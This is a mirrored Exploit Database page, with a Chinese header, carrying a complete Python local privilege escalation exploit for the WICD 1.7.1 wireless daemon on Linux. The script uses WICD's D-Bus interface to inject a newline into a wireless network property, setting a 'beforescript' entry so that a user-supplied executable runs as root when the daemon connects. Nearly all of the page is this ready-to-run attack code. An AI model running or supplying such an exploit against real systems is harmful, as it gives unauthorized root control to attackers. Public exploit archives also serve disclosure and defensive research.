WICD 1.7.1 – Local Privilege Escalation

Exploit Database
119 阅读

作者： anonymous

日期： 2012-04-12
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/18733/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

#!/usr/bin/python

#wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student

#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html

import sys

import os

import time

import getopt

try: from wicd import dbusmanager

except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)

class Error(Exception):

def __init__(self, error):

self.errorStr=error

def __str__(self):

return repr(self.errorStr)

class Wicd():

wireless=None

daemon=None

versionString=None

def __init__(self):

try:

dbusmanager.connect_to_dbus()

dbusInterfaces = dbusmanager.get_dbus_ifaces()

self.wireless = dbusInterfaces["wireless"]

self.daemon = dbusInterfaces["daemon"]

except:

raise Error("Daemon is not running")

self.versionString = self.daemon.Hello()

def versionLessThan(self, version):

if int(self.versionString.replace(".",""))<=version:

return True

else:

return False

class Exploit():

def __init__(self, wicd, scriptPath):

self.wicd = wicd

self.scriptPath = scriptPath

def getNets(self):

self.wicd.wireless.Scan(True)

nets = self.wicd.wireless.GetNumberOfNetworks()

while nets < 1:

self.wicd.wireless.Scan(True)

nets = self.wicd.wireless.GetNumberOfNetworks()

for net in range(nets):

yield net

def exploit(self):

for net in self.getNets(): pass # Priming scan.

try:

self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")

except:

raise Error("Unable to exploit (SetWirelessProperty() failed.)")

try:

self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")

except:

raise Error("Unable to exploit (SetWirelessProperty() failed.)")

propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property

vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)

# TODO: Does this need a try construct?

self.wicd.wireless.ReloadConfig()

for net in self.getNets(): # Implicit, but required re-scan.

if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:

self.wicd.wireless.ConnectWireless(net)

return True

raise Error("Unable to exploit (Lost the network we were using)")

def usage():

print "[!] Usage:"

print " ( -h, --help ):"

print " Print this message."

print " ( --scriptPath= ): Required, executable to run as root."

print " --scriptPath=/some/path/to/executable.sh"

def main():

print "[$] WICD =< 1.7.0Day"

try:

opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])

except getopt.GetoptError, err:

# Print help information and exit:

print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"

usage()

sys.exit(0)

scriptPath=None

for opt, arg in opts:

if opt in ("-h", "--help"):

usage()

sys.exit(0)

elif opt =="--scriptPath":

scriptPath=arg

else:

# I would be assuming to say we'll never get here.

print "[!] Parameter error."

usage()

sys.exit(0)

if not scriptPath:

print "[!] Parameter error: scriptPath not set."

usage()

sys.exit(0)

try:

wicd = Wicd()

except Error as error:

print "[!] WICD Error: %s" % (error.errorStr)

exit(0)

print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)

if not wicd.versionLessThan(171):

print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."

exploit = Exploit(wicd, scriptPath)

print "[*] Attempting to exploit:"

try:

exploit.exploit()

except Error as error:

print "[!] Exploit Error: %s" % (error.errorStr)

exit(0)

print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin

# the program.

if __name__=='__main__':

main()